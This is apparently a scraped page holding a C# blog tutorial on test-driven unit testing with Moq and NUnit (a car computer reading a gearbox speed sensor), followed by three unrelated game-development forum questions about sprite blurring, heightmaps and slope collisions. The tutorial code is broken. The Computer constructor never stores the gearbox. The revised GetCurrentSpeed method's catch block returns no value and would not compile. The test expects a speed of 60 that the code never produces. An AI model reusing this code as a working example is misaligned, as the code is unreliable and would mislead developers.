Although it is very possible to test the intrinsic workings of each and every component in your code, writing several tests for each method in practise will soon prove to be an exhausting and ultimately fruitless exercise given the certain and ever changing nature of business requirements. Consequently it is true and quite possible whilst conducting proper unit tests, to call any single method several times as you examine and contemplate different scenarios. Let’s write some code to demonstrate what I mean. In my example I make use of the Moq framework and NUnit to create my tests. Truly you can use whatever you’re comfortable with. First we’ll create an ISpeedSensor interface. This is to represent the speed sensor located in the gearbox.  Then we’ll create a Gearbox class which we’ll pass to a constructor when we instantiate an object of type Computer. All three are described below.   ISpeedSensor.cs namespace AutomaticVehicle {     public interface ISpeedSensor     {         int ReportCurrentSpeed();     } }   Gearbox.cs namespace AutomaticVehicle {      public class Gearbox     {         private ISpeedSensor _speedSensor;           public Gearbox( ISpeedSensor gearboxSpeedSensor )         {             _speedSensor = gearboxSpeedSensor;         }         /// <summary>         /// This method obtain it's reading from the speed sensor.         /// </summary>         /// <returns></returns>         public int ReportCurrentSpeed()         {             return _speedSensor.ReportCurrentSpeed();         }     } } Computer.cs namespace AutomaticVehicle {     public class Computer     {         private Gearbox _gearbox;         public Computer( Gearbox gearbox )         {                     }          public int GetCurrentSpeed()         {             return _gearbox.ReportCurrentSpeed( );         }     } } Since this post is about Unit testing, that is exactly what we’ll create next. Create a second project in your solution. I called mine AutomaticVehicleTests and I immediately referenced the respective nunit, moq and AutomaticVehicle dll’s. We’re going to write a test to examine what happens inside the Computer class. ComputerTests.cs namespace AutomaticVehicleTests {     [TestFixture]     public class ComputerTests     {         [Test]         public void Computer_Gearbox_SpeedSensor_DoesThrow()         {             // Mock ISpeedSensor in gearbox             Mock< ISpeedSensor > speedSensor = new Mock< ISpeedSensor >( );             speedSensor.Setup( n => n.ReportCurrentSpeed() ).Throws<Exception>();             Gearbox gearbox = new Gearbox( speedSensor.Object );               // Create Computer instance to test it's behaviour  towards an exception in gearbox             Computer carComputer = new Computer( gearbox );             // For simplicity let’s assume for now the car only travels at 60 km/h.             Assert.AreEqual( 60, carComputer.GetCurrentSpeed( ) );          }     } }   What is happening in this test? We have created a mocked object using the ISpeedsensor interface which we've passed to our Gearbox object. Notice that I created the mocked object using an interface, not the implementation. I’ll talk more about this in future posts but in short I do this to accentuate the fact that I'm not not really concerned with how SpeedSensor work internally at this particular point in time. Next I’ve gone ahead and created a scenario where I’ve declared the speed sensor in Gearbox to be faulty by forcing it to throw an exception should we ask Gearbox to report on its current speed. Sneaky, sneaky. This test is a simulation of how things may behave in the real world. Inevitability things break, whether it’s caused by mechanical failure, some logical error on your part or a fellow developer which didn’t consult the documentation (or the lack thereof ) - whether you’re calling a speed sensor, making a call to a database, calling a web service or just trying to write a file to disk. It’s a scenario I’ve created and this test is about how the code within the Computer instance will behave towards any such error as I’ve depicted. Now, if you’ve followed closely in my final assert method you would have noticed I did something quite unexpected. I might be getting ahead of myself now but I’m testing to see if the value returned is equal to what I expect it to be under perfect conditions – I’m not testing to see if an error has been thrown! Why is that? Well, in short this is TDD. Test Driven Development is about first writing your test to define the result we want, then to go back and change the implementation within your class to obtain the desired output (I need to make sure I can drive back to the repair shop. Remember? ) So let’s go ahead and run our test as is. It’s fails miserably... Good! Let’s go back to our Computer class and make a small change to the GetCurrentSpeed method.   Computer.cs public int GetCurrentSpeed() {   try   {     return _gearbox.ReportCurrentSpeed( );   }   catch   {     RunRestrictiveProgram( );   } }     This is a simple solution, I know, but it does provide a way to allow for different behaviour. You’re more than welcome to provide an implementation for RunRestrictiveProgram should you feel the need to. It's not within the scope of this post or related to the point I'm trying to make. What is important is to notice how the focus has shifted in our approach from how things can break - to how things behave when broken.   Happy coding!

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  • Sprites rendering blurry with velocity

    - by ashes999
    After adding velocity to my game, I feel like my textures are twitching. I thought it was just my eyes, until I finally captured it in a screenshot: The one on the left is what renders in my game; the one on the right is the original sprite, pasted over. (This is a screenshot from Photoshop, zoomed in 6x.) Notice the edges are aliasing -- it looks almost like sub-pixel rendering. In fact, if I had not forced my sprites (which have position and velocity as ints) to draw using integer values, I would swear that MonoGame is drawing with floating point values. But it isn't. What could be the cause of these things appearing blurry? It doesn't happen without velocity applied. To be precise, my SpriteComponent class has a Vector2 Position field. When I call Draw, I essentially use new Vector2((int)Math.Round(this.Position.X), (int)Math.Round(this.Position.Y)) for the position. I had a bug before where even stationary objects would jitter -- that was due to me using the straight Position vector and not rounding the values to ints. If I use Floor/Ceiling instead of round, the sprite sinks/hovers (one pixel difference either way) but still draws blurry.

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  • Representing heightmaps, on disk and when drawing

    - by gardian06
    This is a conglomeration question when answering please specify which part you are addressing. I am looking at creating a maze type game that utilizes elevation. I have a few features I would like to have, but am unsure as to some of the implementation. I have done work doing fileIO maze generation (using a key to read the file, and then generate the level based on that file), but I am unsure how to think about this with elevation in the mix. I think height maps might be a good approach, but don't know how to represent them effectively. for a height map which is more beneficial XML(containing h[u,v] data and key definition), CSV (item1 is key reference, item2 is elevation), or another approach that I have not thought of yet? When it comes to placing the elevation values themselves what kind of deltah values are appropriate to have it noticeable at about a 60degree angle while not really effecting gravity driven physics (assuming some effect while moving up/down hill)? I am thinking of maybe going to procedural generation at some point, but am wondering if it is practical to have a procedurally generated grid (wall squares possibly same dimensions as the open space squares), or if designing to a thin wall open spaces is better? this decision will effect the amount of work need on the graphics end for uniform vs. irregular walls. EDIT: Game will be a elevation maze shooter. Levels/maps will be mazes with elevation the player has to negotiate. Elevations will have effects on "combat" vision, and movement.

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  • In a 2D platform game, how to ensure the player moves smoothly over sloping ground?

    - by Kovsa
    See image: http://i41.tinypic.com/huis13.jpg I'm developing a physics engine for a 2D platform game. I'm using the separating axis theorem for collision detection. The ground surface is constructed from oriented bounding boxes, with the player as an axis aligned bounding box. (Specifically, I'm using the algorithm from the book "Realtime Collision Detection" which performs swept collision detection for OBBs using SAT). I'm using a fairly small (close to zero) restitution coefficient in the collision response, to ensure that the dynamic objects don't penetrate the environment. The engine mostly works fine, it's just that I'm concerned about some edge cases that could possibly occur. For example, in the diagram, A, B and C are the ground surface. The player is heading left along B towards A. It seems to me that due to inaccuracy, the player box could be slightly below the box B as it continues up and left. When it reaches A, therefore, the bottom left corner of the player might then collide with the right side of A, which would be undesirable (as the intention is for the player to move smoothly over the top of A). It seems like a similar problem could happen when the player is on top of box C, moving left towards B - the most extreme point of B could collide with the left side of the player, instead of the player's bottom left corner sliding up and left above B. Box2D seems to handle this problem by storing connectivity information for its edge shapes, but I'm not really sure how it uses this information to solve the problem, and after looking at the code I don't really grasp what it's doing. Any suggestions would be greatly appreciated.

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